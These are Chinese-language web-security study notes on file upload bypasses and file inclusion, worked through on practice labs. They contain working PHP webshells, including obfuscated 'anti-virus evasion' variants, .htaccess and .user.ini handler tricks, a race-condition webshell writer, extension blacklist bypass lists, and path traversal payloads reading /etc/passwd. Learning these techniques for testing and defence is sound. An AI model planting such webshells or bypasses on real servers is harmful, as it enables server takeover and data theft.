文件上传和文件包含
任意文件上传
简述
任意文件上传漏洞往往是服务器提供一定上传接口,但由于对上传文件类型限制逻辑不严格,导致被绕过;攻击者可以直接上传脚本资源文件来控制服务器,也就是sql注入漏洞中介绍的webshell
靶场练习
找靶场 fofa.info
http://192.168.142.53/pikachu/vul/unsafeupload/upload.php
一句话木马
<?php @eval($_REQUEST[cmd]); ?>
执行命令
eval() 函数,执行php代码
?cmd=phpinfo();
system() 函数 执行系统命令
?cmd=system('ls -al /');
linux:
ls 列出当前目录下的文件
ls -al / 列出/目录下的所有文件并且显示文件详细信息
whoami 查看权限
cd 切换路径
pwd 显示当前所在位置路径
cat /etc/passwd 查看文件 /etc/passwd
前端校验绕过
- 禁用js
插件Enable JavaScript
- bp绕过
先上传图片 , 然后bp抓包 ,改为php文件
<?php phpinfo();?>
http://192.168.142.53/upload/phpinfo.php
- upload 1源码分析
function checkFile(){
}
前端检验上传文件是否为jpg / png /gif格式
后端校验绕过
文件头
常见图片文件头
文件类型 文件拓展名 文件头十六进制 文件头实际内容
PNG .png 89504E47 .PNG
GIF .gif 474946383961 GIF89a
JPEG .jpg FFD8FF 。。。。
在php文件前加图片文件头来绕过
upload-13
MIME
对文件类型检查有缺陷-检查Content-Type标头是否与MIME 类型匹配
-
上传 webshell.php
-
抓包 修改上传的Content-Type 类型为允许的类型 image/jpeg
-
upload 2代码分析
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
//如果content-type不是这三种 就判断文件类型不正确
$temp_file = $_FILES['upload_file']['tmp_name'];
......
} else {
$msg = '文件类型不正确,请重新上传!';
后缀名
-
黑名单
- 绕过:找一些遗漏的后缀名
.php
.pht
.phtml
".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".
pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml","
.jsp",".js
pa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",
".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".
asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr
",".sWf",".swf",
上传php文件
uplaod.php
<?php @eval($_REQUEST['moyv'])?>
上传后缀名php5 /phtml
等
uplaod.php5
<?php @eval($_REQUEST['moyv'])?>
upload3 - 关键代码
$deny_ext = array('.asp','.aspx','.php','.jsp');
...
if(!in_array($file_ext, $deny_ext)) {
// 判断文件后缀名是否时asp / php / jsp /aspx
....
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
特殊文件(了解解析漏洞后再做)
.htaccess
特殊的配置文件,改写apache的配置
AddType application/x-httpd-php .php .phtml
或者
AddType application/x-httpd-php .png
SetHandler application/x-httpd-php
// .htaccess
AddType application/x-httpd-php .jpg
// 1.jpg
<?php phpinfo();?>
.user.ini
特殊文件,apache,nginx都能用
auto_prepend_file=01.gif
auto_prepend_file = <filename> //包含在文件头
auto_append_file = <filename> //包含在文件尾
- 白名单
只允许特定的文件名通过
.jpg
.png
文件包含(后面讲)
- 判断黑白名单
上文件过程中,随意更换文件后缀名.sjdfla;fsljfdlsajfljdslflsajf
文件内容
<?php
@eval($_REQUEST[cmd]);
?>
-
过滤php特征
<script language="php">@eval($_REQUEST[cmd]);</script>
php版本<7
2. php
短标签
<?=`ls`;?>
<?=是PHP的一个短的开放式标签,是echo()的快捷用法。
-
关键函数,关键字
-
函数
eval
system
assert
exec
...
- 大小写
eval ===> Eval
- 动态拼接
assert
只有特定函数支持动态拼接
assert 执行php代码
<?php
$a = "ass";
$b = "ert";
$c = $a.$b;
$c($_REQUEST[cmd]);
?>
- 免杀
异或运算.................
<?php
$fruits = array("a" => "lemon", "ss" => "orange", "ssr" => "banana", "t" => "apple");
function test_alter(&$item1, $key, $prefix)
{
$item1 = "$prefix: $item1";
}
function test_print($item2, $key)
{
echo "$key. $item2<br />\n";
}
echo "Before ...:\n";
array_walk($fruits, 'test_print');
$a =array_keys($fruits);
print_r($a);
$m =$a[0].$a[1];
$n ='er';
$q = $m.$n.'t'; //assert
$r = $_REQUEST['wange'];
@$q($r);
//密码wange
?>
条件竞争绕过
如果一个网站虽然采用了白名单方式过滤上传文件,但是它在程序是先允许任何文件上传到服务器,再去判断文件扩展名来决定文件是否删除(存在时间差),那只要攻击者快速发送请求,在时间差内访问一次恶意文件即可
http://198.74.107.99:8081/Pass-18/index.php
-
随意上传一张图片:
-
成功后查看图片,可以看到上传后的路径如下:(一般只要右键能找到图片地址的,在响应包里就有)
-
创建一个php文件(要求一旦被访问 即在服务器上写一个webshell文件)
<?php
$file = fopen("webshellphp","w");
fputs($file, "<?php $_REQUEST[cmd]?>")?>
-
bp intruder
不断发送上传的php文件(制造该文件持续在服务器的机会)
不断访问上传的php文件(只要有一次访问到就可创建webshell文件) -
找到状态码 200即可
-
代码分析
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
- 先通过move_uploaded_file(tempfile,upload_file)将文件上传至服务器中。
- 上传完毕后通过in_array(fileext,ext_arr)检查文件名后缀
- 如果后缀名合法,则对文件进行重命名,上传完成
- 如果后缀名非法,则删除文件。
漏洞挖掘
基本思路
先上传一张正常图片,看返回结果是什么,是否显示上传后的路径,并能试验是否能访问到,再去测试漏洞
- 文件上传
- 常见漏洞点
- 上传头像
- 上传简历
- 上传附件
- 上传模板
- 发送邮件
- 漏洞挖掘
- 文件头
- Conten-type
- 文件扩展名
- 先判断是白名单还是黑名单校验
- 白名单:文件解析漏洞/文件包含/条件竞争/文件解压(CTF)
- 黑名单:文件解析漏洞/遗漏的后缀名/00截断/::$DATA等
- 引发其他漏洞
- 文件上传导致的存储型xss(text/html、image/svgxml)
- 文件上传导致的拒绝服务漏洞(上传超大文件)
案例分析
头像上传
-
上传头像,抓包
-
上传phpinfo 验证
<?php phpinfo();?>
-
上传一句话,蚁剑链接
(xss)挂黑页
1、参考之前xss文章
2、因为xss本质是JavaScript代码 ,其实可以挂黑页
3、一般众测能给到中危害(除了某些会追你责的xx以外)
危害
上传webshell
上传超大文件,占满服务器存储空间
其他用户无法上传文件
服务器无法写入log文件或其他数据库文件
形成拒绝服务漏洞
上传html / htm文件
形成存储型xss,盗取用户cookie
防御
1. 文件扩展名(白名单好过黑名单)
2. 避免条件竞争
3. 文件头 / content-type校验
4. 独立一台服务器存放文件资源
其他
- 了解解析漏洞
- Apache HTTPD 多后缀解析漏洞
https://vulhub.org/#/environments/httpd/apache_parsing_vulnerability/
- Nginx解析漏洞
https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/
- Apache换行解析漏洞
https://vulhub.org/#/environments/httpd/CVE-2017-15715/
- Apache HTTPD 多后缀解析漏洞
- 靶场通关秘籍
https://github.com/LandGrey/upload-labs-writeup
- Weblogic任意文件上传漏洞(CVE-2018-2894)
https://vulhub.org/#/environments/weblogic/CVE-2018-2894/
- Apache Flink文件上传漏洞(CVE-2020-17518)
https://vulhub.org/#/environments/flink/CVE-2020-17518/
- 蚁剑使用
文件包含
在网站的开发人员在开发网站的时候,会把经常重复使用的函数或者特定的页面写到单个文件中,需要使用的时候就直接调用此文件即可,而无需再次浪费时间再次编写,这种操作通常被称为文件包含。如果我们没有对文件的来源进行严格的审查就可能会导致文件包含漏洞
靶场练习
http://101.43.1.181/pikachu-master/vul/fileinclude/fileinclude.php
php文件包含函数
include()
require()
include_once()
require_once()
file_get_contents()
file_put_contents()
漏洞挖掘
常见思路
案例分析1
本地文件包含(CVE-2021-43798)
https://xxx.org/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd
案例分析2
https://www.xxxx.com/ro/ZmlsZTovLy9ldGMvcGFzc3dkIy5qcw==/-1430533899.js
Base64解码:file:///etc/passwd#.js
之所以使用#,是因为url的结尾必须是javascript,但要在url中忽略它,我使用#之后的内容会忽略在url中
案例分析3
黑灰产
代码审计
文件上传 jpg
文件包含 jpg 拿shell
###危害
防御
其他
- php文件包含函数区别
- 学习使用Potential Vulnerability Indicator
https://github.com/PortSwigger/potential-vulnerability-indicator
- vulhub文件包含漏洞
https://vulhub.org/#/environments/php/inclusion/